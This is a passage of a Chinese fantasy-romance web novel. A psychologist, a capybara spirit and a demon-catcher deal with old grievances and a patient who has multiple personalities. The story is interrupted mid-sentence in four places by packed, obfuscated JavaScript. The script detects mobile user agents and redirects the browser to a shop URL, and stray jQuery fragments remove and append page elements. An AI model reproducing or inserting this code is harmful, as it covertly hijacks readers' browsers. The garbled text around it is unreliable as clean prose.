可是眼前这个小妖精不同。他既有人类的面貌,人类的脑子,他还知道许多只有妖精和捉妖师才知道的内情,能轻轻松松地捏住杨弋的七寸。 杨弋无奈,她伸手,掌心缓缓飞来一只小虫子。 “这位小兄弟,不如我们各退一步吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540030|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我把这个送给你,就当作见面礼。你消消气?” 程小满没有客气,他手掌向前,对准那只虫子。 不过片刻,虫子便迅速枯朽坠落,而它体内的妖力全部被程小满吸收殆尽。 程小满看了看眼前的女人。 “你的能力果然很强。” 眼前这个女人所驯化的妖精,能力比之普通的妖精要强上不少。刚才她不过送上小小的一只虫子,程小满就能感受到一股不弱的妖力。 难怪杨弋敢用这种东西去探别人的虚实,还能收集到那种精准的情报。 按照人类的说法,这女人走的路算是邪修。正统捉妖师都是靠捕捉妖物而扬名,替大家族或是百姓做事谋钱财。 而那些为非作歹的妖精,最后大多被收编,去专门管束妖精的地方,为人类所用。有些冥顽不灵的,只得榨干灵力用作他法。 千百年来,正统家族都是这样做的。然而杨弋却私下和妖精合作,驯化妖精,私自利用妖精的能力。这本该是大不敬的行为。 不过程小满懂得人类的礼貌。杨弋既然给上了这份小礼物,就算是封口费了。往后关于杨弋违规利用妖族能力的事,程小满应该装作不知道。 “杨小姐走的道路我无法干涉。但有关段医生的事,我仍然会一字不落地和她说,希望杨小姐理解。” 话音刚落,程小满感知到自己妖力即将用劲,慌忙收起了这个分身。 杨弋的眼前终于清净,她长出一口气。 她对着空气沉思了半晌,忽然笑了出来:“真是嘴硬,还说自己没有看上她。” 程小满如同他告诉杨弋的那样,把所有的真相原封不动地告诉了段琅然。 起初段琅然无法相信那些事情真的是出自杨弋之手。 以她对杨弋多年的了解,她认为即便杨弋带着苦衷,也不该能做出那些事情。 但坐在一旁的杨弋对程小满的叙述默不作声,没有一个字的反驳,段琅然又不得不相信,这些荒谬的事是被眼前这个人做出来的。 段琅然叫了好几杯酒。她破例地大口吞咽那些烈酒,把一张脸喝得通红,企图把自己灌醉,来忘记那些曾经让她痛苦的事情,忘记杨弋做的那些事。 仿佛这样,她就能真正和那段被她深恶痛绝的过去彻底分割。 “抱歉小段。你的人生被我折损了一半。我也明白,我用那些能力是违规的,是不符合科学的初衷的。我不求你原谅。我只希望在往后的人生里,别因为我做的那些错事,让你自己的人生停滞不前。” 程小满趴在段琅然肩头,段琅然轻轻地抚摸它的脊背,柔软的毛从指缝中滑走。 段琅然想了很多。她想到自己从前的挫败,想到往后的事业。 她很清楚,过了今晚,她的人生不再会为了过去那点事情停滞不前。 那么杨弋,她也没必要再继续恨下去了。 坐在对面的杨弋拿起了包,从包里掏出一个挂坠,放在桌子上。 “拿去吧,这个东西以后会对你有用的,就算是我对你的补偿之一吧,你收着。我们之间的这笔账啊......这辈子算是算不清了,我尽力还。但如果你希望以后我们不要再有来往,我绝不会再出现在你眼前碍你的眼。” 8. 患者常寻(一) 说完,杨弋就要起身离开。 段琅然叫住了她。 杨弋在漫天喧哗的灯光中回头,注视着那个喝得有点微醺的人。 这一幕画面仿佛她们见过许多次。在大学时一同在酒吧进进出出,谈天说地,那样的时光再也回不来。 只在今天,在现在,在短暂的一秒钟里,段琅然找到了二十岁的自己。 她努力醒了醒神:“我还有一个问题。” 事到如今杨弋没有不回答的立场。她再次坐下来,静静地看着段琅然,等待她的问题。 “我在梁铮的葬礼上。看到他的母亲往他身上放了一个东西。” 杨弋深吸一口气,闭上眼睛:“那是我们家族的标志,那个东西象征着捉妖师的能力。可惜小铮那个孩子他没有天分,所以......从小一直被他们视作废物。” 这样平淡的话语,更加令段琅然怒火中烧:“是废物,难道就能随意凌辱,就能践踏他的尊严?况且是不是废物,哪是由他们说了算的?” “不!”杨弋摇头,“在我们家族。捉妖师是世代相传的职业,捉妖师的能力是评判一个人价值的全部。当年天赋测试他没有通过,他就失去了所有的价值。所以家族里的人,包括他的亲生父母,都把它当成可以随意丢弃的东西。” 可是他分明有梦想。 他想过要出国,想过要去做研究,要去深造。想过自己的论文有一天能够登上顶级的期刊。而他也明明有这个天赋。最后却走到了这一步。 “有的事用科学是说不通的。”杨弋的眼里浮现出了一种段琅然无法读懂的哀伤,“就像这世上真有妖精,真有捉妖师。那些听上去荒谬的事情都真实存在着。” 段琅然一直摇头,一直摇头:“但我放不下我之前十几年所学的东西。难道它们真的就是废纸一沓吗?我不甘心。我还是想知道为什么。为什么我都那么努力治疗了,小满却还说,在梁铮的体内看不到一丁点的希望的情绪。” “情绪缺失......你说的这种情况,在小铮身上的情况,是功能性缺失。就和人断了手断了腿一样,是长不回来的。” 程小满在一旁撇了她一眼:“所以你也认为梁铮的某种情绪被吃掉了。” 杨弋看了看程小满,忽然像是被他的形容给逗笑了。 “吃掉啊......真是有意思的形容。没错,差不多。从他被家族放弃的那一刻开始,他就没有了希望,无论他自己多么努力,多么挣扎。他的命格已经被定上了废人两个字。” “所以,吃掉他情绪的根本不是人。是你们整个家族。” 程小满凝视着杨弋的眼睛,从她的眼睛里得到了一个无奈但肯定的答案。 段琅然事先没有猜到,却也并不是很意外。梁铮的反常行为和他的反常经历已经注定了,他们这个家完全就没有正常人。 “小段,我出去的这几年发现我们能做的事情真的很有限。” 杨弋看着迪斯科球映射出炫彩的光斑,那眼神和段琅然那天盯着窗外时是一样的。 像是看透了一切,却又挣扎着想要给这个没救的世界找一点希望。 “这个社会把人的情绪吃掉,又一再责怪人,为什么没有动力,没有生产力?为什么不温顺?” 段琅然彻底沉默。 她对自己的自我认知很清晰,她知道自己没有见过世间百态,没有见过那些真正困苦的人,真正没有出路的人,绝望的人。 哪怕她见过形形色色的患者,这些人也太有限,只能算作这个世界上所有苦难中比冰山一角还要微小的一部分。 “我很想要帮助他们。”段琅然忽然哽咽。“可是梁铮已经是我手下去世的第六个患者了。” 十年前她可以说自己是一个天才,她可以高傲,可以不可一世,她可以看不起和他竞争的许多人。 十年后,她不能了。 如今想来,就算当年没有输给杨弋的事,现在的她也绝非十几岁的自己畅想的样子。 她的职业生涯给她立下了一个太大的坎。 她过不去哪个坎。 病人治不好。她就一再责问自己是不是还不够专业,是不是做得不够好? 是不是不配做一个心理医生? 杨弋看着段琅然脸上的泪,笑得苦涩:“你既然带着一个有情绪能力的妖精,你就要好好利用它。有时候科学这东西不管用的。你一味的执着于科学,科学,其实患者也没有办法得到救治。就像小铮一样。” 那一刻,段琅然似乎看到了历史长河中,无数因现实而妥协的人。 也许她曾经追求的,那个充满科学的,能够用科学治愈人的世界根本就不存在。这个世界荒诞可笑。处处透露着科学所无法解释的现象。 想要面对这个世界,她也只能使出那些非常手段。 “谢谢你,杨弋。” “不用突然谢谢我,你还是恨我比较好。” 段琅然露出一个苦涩的笑容,斟酌着开口:“我如果现在说我想原谅你的话,会不会显得太高高在上了?” “你不用这样想。原谅与否,主动权永远在你手里。而我就像我所答应的那样,只要我还活着一天,你有任何事情都可以找到我。我一定会不遗余力帮助你,去弥补十年前亏欠你的那些。” 她们会心一笑,而后像两个普通的同行一样,略显疏离的躺了一会专业性的内容。 段琅然不得不承认,杨弋在国外的这些年确实学到了很多。他当初所要追求的东西。确实是对她有很大帮助的。这些年,国内外的行业发展不太一样,所研究出来的前沿疗法自然也大不相同。 杨弋他们学校所对接的公司主要研究的是利用精密机械对神经进行干预和操控。 而段琅然留在国内读研、工作,接触到的内容相当得杂。有关于传统的保守治疗,也有一些药物上的新进展,几年前甚至有不少专家提出可以把中药融入到心理治疗的药物当中。 “说起来我当时有一个病人可能得求你帮帮忙。” “杨医生在国外,不是没有待在一线吗?” 杨弋有些尴尬地笑了笑:“那只是我自己,没有在一线。我这次跟你讲的是我一个同学,他接诊的病人。不知道是不是国外那边的疗法太往科技上钻了,他很久都没什么起色。我觉得心理治疗嘛,还是需要有点人情味的疗法,更加有效果。” “既然是杨医生需要帮助的病人,那我也没有什么推辞的理由。我的联系方式、还有诊所的地址你都知道,直接报给他就行了。到时候我来给他排一下咨询的时间。” 患者常寻,男,34岁,新媒体大厂工作,年收入七位数。 眼前这个病人倒是很符合段郎然对于“中年危机”这个词汇的理解。他哪怕是看病也穿着板板正正的西装,拎着一个皮质公文包,头发略显稀疏,光照稍微强一点,就能看到里面的反光。 “杨医生说你之前一直在国外接受治疗?” “对,之前吃过药,电休克也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540031|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做过......好几次。” “电休克?你之前的症状已经需要用到电休克了吗??电休克的治疗后遗症是很严重的,你的主治医生应该也和你说过吧。” 段琅然都有点急了。 这医生是庸医吧?电休克这种东西的后遗症轻则应激,重则失忆。他们对这个看上去和正常人没什么两样的患者,居然说做就做了,还做了好几次。 患者轻轻点了点头:“对,当时出现了轻生行为,暴力倾向也出现了,还伤害过身边的人。医生跟我说......说,我这个情况必须要用电休克。我当时看了看那个也不是很贵,就做了。” 段琅然哭笑不得:“你这个不是钱的问题,电休克的过程对你的机体损伤是很大的。还有,你......做的时候不痛吗?” 患者摇了摇头。 “连电休克这种极端的疗法都用过了,还是没有见好吗?” “就,暴力倾向是少了很多,本来我经常冲动打人,在国内的时候差点因为打架斗殴......被拘留。后来在那边治疗了几次以后,确实没再打过人,脾气再差的时候也只是动动嘴。” 段琅然挑了挑眉。 没想到那边的医生竟然这么会对症下药。 “那你现在的,困扰你的症状是什么呢?” 患者没什么感情地说:“我还是想死。” 段琅然看到他一本正经的样子,哪怕嘴里说出来的话很吓人,依然被逗笑了。 “不能上来就跟我说想死啊,” “我也说不清楚我是什么感觉。我马上就要三十五岁了,”患者自嘲似的笑了笑,“我听他们说三十五岁是裁员大关,我这工作能不能保保得住,谁也不知道。” “你工作压力挺大的吧?有没有什么缓解压力的方式?” 患者局促地笑了笑:“我没有时间。” “我看你简历上出国治疗的时间不短,所以中途是换过工作吗?” “对,提前跟现在的公司说过,不过说的是我去那边考察,考察一结束我就回国入职。” 听起来,他的经历并没有能称之为严重创伤的内容。工作压力大是事实,中年危机也确实悬在头顶,却不至于导致他产生严重的心理或者精神疾病。 “冒昧的问一句......哦,你不愿意回答的话也没事。你的婚姻和生育状况如何?” “丧偶。有过一个孩子,和妻子一起出车祸去世了。” 段琅然叹了一口气:“不知道这是多久之前的事情,不过还是请您节哀。您和您的妻子......似乎感情非常深厚?” 患者第一次发自内心高兴地笑了出来:“对,她是我初中同学。我们是......高中毕业之后就开始谈恋爱了,也算是那个,从校服到婚纱。” “行,你的情况我基本了解了,药物你还是按照之前的吃,其他疗法,具体的,我下次再给你详细安排。” 患者笑得恰到好处,让段琅然一愣。 她这时候才注意到,这个患者若不是精神衰颓,他的这张脸实在帅得无可挑剔。 “哦,您的证件掉了。”段琅然帮他把小卡片捡起来。 这时候她无意间撇到了那张证件。 上面写的并不是“常寻”,而是另一个名字。 “喻......景荣?您没有带自己的证件吗?” 段琅然抬头的瞬间,她的问题被自己咽了回去。 证件照和面前的人脸几乎完全重合。 9. 患者常寻(二) “您是......?” 段琅然把刚才捡起来的身份证递过去,患者木讷地看着上面的照片,又转头看向诊室的镜子,在镜子里看到了自己那张几乎一模一样的脸。 “不,我是常寻,这不是我的证件。” 段琅然在一旁思索片刻:“您有没有双胞胎兄弟之类的?” 患者摇头。 正当段琅然愁容满面时,突然感觉头脑莫名产生了一阵眩晕。不等她反应过来,眼前的患者毫无征兆地,直直栽倒在地。 段琅然吓得连连后退,生怕自己碰一下患者,就成了杀害患者的嫌疑人。 诊室里没有监控。程小满自如地变换了人形,无声无息地出现在段琅然的身后。 段琅然本就惶恐,一回头,又被身后这个一米八大高个吓了一跳。 “你干嘛!突然站在我背后吓我一跳!” 程小满浑然没有意识到自己把眼前的人类吓了个半死:“变成人的话方便行动,让我先看看他。” “你等一下,等一下,”段琅然拉住他,“你确定他现在身体没有问题?他这样莫名其妙倒在这里,万一真出了事情的话,找谁说理去?” 程小满笑着摇摇头:“他身体没事,你放心。” 在段琅然从疑惑变为错愕的眼神中,他径直走过去蹲在患者身旁,手掌覆盖在患者的身上。 “这又是你的什么能力?你还能看到他的记忆不成?”段琅然站在一旁,双手抱胸,带着些疑惑地盯着程小满的动作。 片刻之后,程小满站了起来。 “他的记忆有问题。” “你看见什么了?” “具体的我不知道,但我看到他的记忆是一段一段的,清醒一段时间,就会失忆一段时间。每次的间隔时间可能是几个小时,也可能是一天、两天。” 他看向段琅然:“这种症状你们专业上都是怎么称呼的?” “多重人格障碍。” 段琅然想了想:“你的意思是说他报出来的名字不是他身份证上的名字,只是他一个人格的名字。而他刚才掉出来的那张证件上面的,才是他作为一个生理意义上的人,在公安网络里登记的名字。” “这个患者会比较难治,你确定要接吗?” 程小满一改此前吊儿郎当、无所事事的样子,神情变得紧绷。 他没有提及刚才把患者催眠的事情,段琅然虽然看出来了,却也没过多问。 心照不宣的事多问无意,还是尽快思考要怎么处理这个患者好。 “他这个症状不应该来我们这里的,我们这里看的是心理问题,不是精神问题。他得去精神卫生中心看病啊。” 程小满挑眉:“可是我看你挺想接诊的。” “他口述的症状是他中年危机工作压力,导致出现轻生情况。而且这个患者是杨弋介绍过来的,如果她不是有意坑我的话,就说明她也不知道这个患者有人格分裂。我知道我现在资历不够老,贸然把他接下来,担风险的还是我。而且他的这个病情,说不定比梁铮还要严重。” “要我说,没把握的事情就别做。” 段琅然就不乐意听这种话,直接呛了回去:“养活你我也没把握,要不你滚吧?” 程小满意识到自己说错了话,走上前去轻轻拽了拽段琅然的衣角。 “我很好养活的。我可以自己养活自己,只要让我留在你身边就可以。” 小动物撒娇没有质感。一米八的壮汉撒娇,那可太有震慑力了。 段琅然盯着他那一头水豚皮毛颜色的头发,盯着他那双看着很无辜的大眼睛。 然后她马上移开了视线。 不行不行不行,这实在受不住。 “你.......你别用这副样子跟我说话,你还是变回去吧。” “我长得很丑吗,段医生?”程小满摸了摸自己的脸,问题很欠揍,但语气太真挚了,让段琅然连骂他的话都说不出口。 “你……反正你变回去。我谢谢你。” “真的很丑吗?”程小满竟然急了。 段琅然觉得自己现在可以从心理医生直接改行当幼师了,她语气温和地哄着:“不丑,不丑,很好看很好看,你快点变回去吧。” 程小满听话的变了回去。段琅然指着地上躺的那个像尸体一样的患者。 “你想办法把他弄醒。不然我们这算什么?把患者打晕了?” 程小满听话的走上前去,用爪子摸了一下患者的身体。过了大概半分钟,患者喉咙里发出了声音,悠悠转醒。 “可以啊,你这个催眠倒是收放自如。” 程小满也不邀功,办完事,一个纵身跳回了段琅然的办公桌,继续在老地方窝着。 “这是哪?”患者摸着头,一脸茫然地打量着周围的环境。 段琅然想要测试一下程小满说的话是真是假,便问他:“你都不记得了吗?” “我为什么会在这里?是谁把我带到了这里?” 段琅然心下了然。 “你叫什么名字?” “我?我叫喻景荣。你看着很像一个医生,我是怎么了?生病了吗?” 段琅然和程小满对视一眼,确定了他们心中的猜想是正确的。 “我是心理医生。您是说工作压力太大,所以想来找我进行心理咨询。这些您都不记得了吗?” 患者摇摇头:“我没有去过心理诊所这种地方。” 段琅然破例加时,对患者进行了为期半个多小时的盘问。这个人格似乎对前一个人格所说的内容完全不知情。 问到他工作,他说不知道。问他学业,他也不知道。 “那您的感情状况呢,感情状况如何?” 患者低头,尽力用平淡的声线说:“哦,我爱人几年前去世了,孩子也一起没了。当时是出了车祸,全车只有我活了下来。” 段琅然一惊。 只有这一条信息和他前一个人格说的完全相符。 难道说…… “医生,抱歉打断一下,您说的半个小时……好像时间已经到了。我家里还有事情,得先回去了,如果还有什么想问我的话,下次我们约个时间我再跟你说吧?” “好,那我就不多留你了,慢走。” 段琅然送走患者,转身回到自己的工位上,却忽然发现有什么地方不对劲。 好像少了什么东西。 桌上放着今天带来的病例资料、两支笔,还有一点新买的治疗用具, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540032|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一应齐全。 好像也没少什么。 段琅然挠了挠头,仔细思考。 不对! “小满?小满?” 无人回应。 “我去,程小满你跑到哪里去了?” 段琅然打开诊室的门,召集同事帮他一起找水豚。 找了半天也没见一根水豚毛,段琅然真的急了,来回踱步坐立难安,看着墙上的时钟一点点地走,开始脑补程小满离开她以后会遇到什么危险。 她给程知乐发了消息,作为前饲养员,想必程之乐应该会更了解这个小东西一点。但程知乐还在路上,现在这点煎熬的等待时间,他什么都做不了。 “他到底能跑到哪里去?” 段琅然开始犹豫自己以后到底要不要带他来诊所。 整间诊室只有一扇门,两扇窗。刚才不过是送别患者片刻的功夫,那小东西就自己开了窗,翻出去。 今天只是翻窗,明天把她这间诊室翻过来了也说不定。 “他到底怎么了?”程知乐“砰”的一声推门而入,脸色也十分焦躁,和段琅然一样。 “还没找到吗?” 段琅然摇了摇头。 “他以前也不贪玩啊,怎么就说出去就出去,说跑了就跑了呢?”程知乐皱着眉,似乎在回想以前自己带着程小满的时候。 “刚才他在一个患者身上发生了点事情,我刚把患者送走,他就不见了。我现在不担心他自己乱跑,毕竟他也有脑子,在外面也活得下去。我是怕他……哎,我怕他做傻事。” “早就跟你说了,别贪他那一点什么什么能力,你说一个动物怎么能帮你治病呢?他是妖精又怎样?在动物园里生活了这么久,早就脱离人类社会了,他懂什么啊?” “你现在在这儿马后炮个什么劲啊?”段琅然一向看不惯程知乐这种瞎操心,瞎着急,“他都已经跑了,现在没办法把他追回来,说这些都没用。谁知道他是找患者麻烦了,还是去跟踪患者了?” 段琅然越说越急:“真要是被查出来他是我手下,他冒犯患者的隐私,给患者人身安全带来隐患我这资格证还要不要了?不如现在直接找条河扔了得了!” 说着他就要摘脖子上的心理医生工牌,被程知乐一把拦住。 “你冷静点。” “我冷静?冷静个屁呀!每次你就会冷静冷静的,我跑到厕所去找桶水浇你头上,你也冷静了。” 程知乐面对她连珠炮一样的指责毫无反应,显然是已经被骂习惯了。 他拉了个凳子坐下,作沉思状:“现在你也没办法,我也没办法,只能这么干等着,等他良心发现自己回来。” “这不是还有个人能找吗?” “找谁呀?谁能找得到他?你认识警察啊?” “我认识杨弋。” 程知乐顿时闭了嘴。 段琅然看了看他的表情:“怎么,你不敢见到她?现在由不得你选了。我要把程小满那个小畜生找回来,就必须得动用她的能力。你不想见杨弋的话,要么自己收拾收拾滚。” “公事公办,我有什么不不敢的。” 段琅然摁下了电话拨号键,瞥了程知乐一眼:“我希望你的嘴等会也可以这么硬。” 10. 患者常寻(三) 在等杨弋的时候,段琅然冷静了很久。 程小满不在的时候,她确实更暴躁易怒,说话也口无遮拦。 她明白程小满是好心帮她,没有恶意,而且相当积极。只是这先斩后奏的,总会让人更加担心。 “他以前真的不这样吗?” 程知乐苦笑:“他以前真的不会乱跑,这事我没必要骗你。以前我们馆里,他是那几个里面最听话的,按时吃饭按时睡觉,不是犟种,不跟同事打架。” “还好他没听到我刚才骂他。”段琅然低头,焦虑地搓着手指。 “后悔了?” “我脾气一上来就容易乱说话,没让他听到挺好的,不然也是打击他。毕竟他这是好心,我哪有指责他的道理。” “你知道就好。”程知乐撇了撇嘴,相当不见外地拿了纸杯,在段琅然诊室的饮水机倒了水喝,“也不指望你改了,就你别总拿我当出气筒行不行?” “哦......下次不会了。” “你不喝点水?刚才说那么多话你嘴巴竟然不干,好厉害。” 段琅然没理他,自顾自地嘟囔:“你说杨弋能不能找到他......他要是被别的捉妖师发现身份了怎么办,他会不会被别人抓走,到时候见不到他了怎么办......” “你这是不相信她的专业能力了?” “我相......” 忽然有人敲门,段琅然话说到一半,听到那声音,忽然一下子清醒起来。 “哪位?” 门外传来杨弋的声音:“我。” 段琅然赶忙上去开门,门外的杨弋笑着,手里拎着一只灰不溜秋的毛团子。 正是偷跑出去的程小满。 段琅然一颗心总算咽到肚子里。 她又急又气,作势打了程小满一下,力道不轻不重,一旁看着的杨弋一边看一边笑。 段琅然把程小满接过来,抱在怀里,杨弋上下打量了诊室的环境,问她:“段医生,你这里有吃的吗?刚才抓他抓得我有点饿了。” “有,巧克力可以吗?” 段琅然走到桌边把程小满放下来,在柜子里翻了几下,拿出来一盒巧克力。 “谢谢。”杨弋笑着接过。 氛围一片祥和。 祥和得有些不正常。 “这里......和我想象得有些不一样呢。”杨弋仔细地打量桌上的陈设、墙上的装饰,还有柜子里摆放的形形色色的治疗用具。 连程知乐坐的椅子都看了一下。 “这个椅子看着不错,你们诊室的采购上心了,买的是人体工学座椅啊。” 段琅然的表情有点复杂地点头:“嗯......对,椅子坐着舒服,会对患者的心情有帮助。” “程小满的事......还是让他自己跟你说吧。谢谢你的巧克力,很好吃。人我送来了,就不多打扰段医生了。” 杨弋把巧克力包装纸扔在垃圾桶里,朝段琅然点了点头。 “诶杨医生......”段琅然下意识地挽留她。 杨弋疑惑:“嗯?还有有什么事吗?” “也没什么事,就是......就......” 她疯狂朝程知乐那个方向使眼色,整张脸都在用力,就是不敢直接说出来。 杨弋做出一副恍然大悟的表情,好像刚读懂段琅然的意思一样。 “哦......不好意思刚才没看见,”她语气放慢,显出些许阴阳怪气来,“好久不见。” 程知乐站起来,显得有些局促:“杨小姐,好久不见。” 一时没人说话,气氛降到了冰点。 “啊,那个,程知乐他是,他以前是,是程小满的饲养员,这事杨医生还不知道吧?”段琅然略显生疏地打圆场,不过显然那二位谁也没看她。 这时候脑子里忽然传来一阵声音:“他们两个旧情未了,不用看了。” 谁? 段琅然警惕地四下张望,最后把视线锁定在那只大耗子身上。 这是怎么做到的?是腹语还是什么...... 没等她研究明白,那声音再次响起:“段医生,不用找了,就是我。这是妖族的法术,你用不了,只有我能用。” 段琅然用眼神发问:“你看出来了?” “我看得清清楚楚。” 段琅然皱眉,又看了看那边两个人。 这是什么意思......这是应该牵线,还是应该放任自流? 幸好两个人互相瞪了没多久,杨弋就跟段琅然说了再见,几乎是落荒而逃似的离开了诊室。 留下程知乐一个人站在那里,两眼空空,颇有种看破红尘要就此出家的既视感。 段琅然用手在他面前晃了晃:“哎,哎,怎么了?傻啦?” 程知乐这才回过神来:“哦......没什么。程小满既然找到了,我也先回去了吧。” 段琅然看着他穿上外套,忽然想到了什么,赶忙叮嘱:“你少喝点。” 程知乐苦笑:“你让让我吧。” 终于把两个人都送走了,段琅然的脸色冷下来。她抱着双臂,居高临下地看着程小满。 “我是不是做错了?”程小满不太自信地开口。 段琅然先前冷静的时候就想好了要怎么和程小满沟通:“你知道,擅自跟踪患者的后果吗?” “你会被惩罚,是吗?”程小满低头。 “你当时不知道,而且你也是好心,所以我不会怪你。但是你现在知道了,以后就别再做这种事了,好吗?” 她嘴上虽然平静地说着话,程小满还是能察觉到她身上有一丝焦躁不安。 他轻轻地爬到段琅然的身边,用爪子蹭了蹭段琅然的衣角。 段琅然相当领情地把他抱起来,抱在怀里掂了掂。 “对不起,我没经过你的允许......但我真的看到了患者身上的记忆很紊乱,所以才想着要跟他走,想知道他身上发生了什么......” “以后不要这样了......好不好?”段琅然把水豚的脸在自己脸上蹭了蹭,“我......我很担心你。” 程小满有些意外:“担心我?” “你万一被其他捉妖师抓到,或者碰到什么意外,受伤了,你怎么办。我要是真的找不到你了怎么办......” 回忆在段琅然脑海里叫嚣着冲出来,她想起那天下午,也是这么大的太阳,这么好的阳光。奶奶在门口拄着拐杖,让她自己在院子里玩一会,她出去散散步,很快就回来。 后来呢...... “你在回忆不好的经历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540033|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”程小满很快就察觉。 “没有办法......我很想她。” “你凑过来一点好吗?”程小满用爪子扒拉着。 段琅然不明所以地凑上去,程小满把爪子放在她眉心,轻轻一点。 如同静谧水面掀起涟漪,打破了她畅通无阻的回忆。有一瞬间,她甚至忘记了自己方才在回想些什么。 “有好一点吗?” “好很多了。” “不要生我的气好吗?” “我从来没有生你的气。” 她把程小满放在桌子上。 “说说吧,你看到了什么。” 程小满幽幽开口:“我跟着他,到了一个公墓,他买了一束花,放在一块墓碑前,上面的名字叫......” 他顿了顿,似乎是自己也难以接受:“常寻。” 一瞬间段琅然所有的猜测都汇聚到了一个中心点,先前的所有疑点似乎都得到了解答。 “也就是说,常寻的身体已经死了,但是他的灵魂似乎......不,不应该这么说,灵魂这个词汇不太专业。” 段琅然一屁股坐下,呆愣地看向天花板:“常寻已经死了,可他却臆想着常寻这个人还活着,因此还生出了一个人格,声称自己叫常寻。” “他的执念很深,深得根本无法拔除。我尝试......我试探了一下,意我的能力根本改变不了他,一点点都改变不了。”程小满也很无奈。 “好了,剩下的事情交给我就好,你的任务已经完成了。”段琅然笑着摸了摸程小满的脑袋。 段琅然在桌前正襟危坐,开始在电脑上查起了资料。 程小满看着她认真工作的样子,不舍打扰她。 但他好想听一句话...... “段医生,你能夸我一下吗?” “啊?” “就是......就是夸我一下。” “夸?你......”段琅然“噗嗤”一下笑出来,“你要听我夸你?” 场面实在有些幽默,让段琅然控制不住地笑。 “你等我一下。” 她从抽屉里掏出一板小红花贴纸,是给年纪较小的患者准备的。 不过一般能被这种东西鼓励的孩子,根本不会成为她这里的患者。 所以这东西到现在都没怎么使用,现在依然九九新。 她摘下一个贴纸:“我们程小满小朋友真——棒!奖励你一个小花花......诶,贴不住吗?” 水豚的毛光滑柔顺,段琅然费了好大力气,终于找了个地方把贴纸卡住。 她盯着程小满,笑得浑身发抖。 “贴好了,哈哈哈哈哈哈哈,真棒!” 程小满眼皮耷拉了下来。 段琅然是把他当成小孩子了吗...... “好了好了,不跟你开玩笑了。”段琅然手法娴熟地顺着程小满背上的毛,“你的能力很厉害,你这次找到的信息也很有价值,你做得很好。” “但是我不希望你下次再去冒险跟踪患者,我们还有很多其他的手段可以用。” 程小满看着她,光线从窗外打进来,透过百叶窗,在她脸上留下浅浅的光斑。 他有种很强烈的感觉,他们以前应该见过,也许早在很久以前就见过。 11. 患者常寻(四) “多数的患者,哎,应该是绝大多数的患者是没办法自愈的。就算把他送到精神科,也只能缓解,没办法痊愈的。” 程小满趴在窗台上懒洋洋地打了个哈欠。 屋内的段琅然表情相当严肃,坐在她对面的是个看着有些年纪的女人,衣着一丝不苟,头发高高挽起扎了一个敦实的发髻,白发从鬓角丝丝缕缕地漏出来。 奇怪的是那些白发并不会让人第一眼看见她的苍老,只会更加衬得她的气场强大。 “我知道了老师,麻烦老师了。” 李教授是段琅然的博士导师,在业内非常有名,带出来的学生也有不少是相当有出息的。 段琅然硕博都在同一所学校,李教授是在她硕士时候就认识的老师,因为对段琅然在硕士期间的研究非常看好,段琅然便得以被这位名师指导。 此事说来段琅然觉得惭愧,毕竟最开始她的目标是出国的那个机会,她并没有打算要留在本校读博,当时答应李教授也不过是场面话。 谁知最后阴差阳错、命运弄人,她们真成了师生。 这次忙里偷闲回母校找老师,一方面是为了患者的病情,想来请教一番。 另一方面,她记得自己也有几年没回过这里了,一时想起曾经的日子,还有些许的怀念。 李教授笑着摇摇头:“有什么麻烦的,你可是我的得意门生。以后有什么问题解答不了的,也可以来问我。你能经常回母校来看我,我心里可高兴着呢。” “得意门生称不上,”段琅然笑了,“不过是稍有些成就,跟我那些师兄师姐比不了。” “比不比的,不就是比赚得多少吗?”李教授看透一切地轻笑。 她一向淡泊名利,这一点是段琅然在认她为导师之前就知道的事。淡泊名利的人不少,但能十年如一日不改初心,在段琅然看来是十分难能可贵的事。 段琅然有些愧疚地低头:“是啊,可惜我还没看开。” “小杨也是个好孩子,有什么事情,你们应该摊开了好好说。当年大家各有各的难处,谁也怪不了谁,现在都过去有十年了吧?就算真有什么仇啊怨的,也是时候放下啦。” 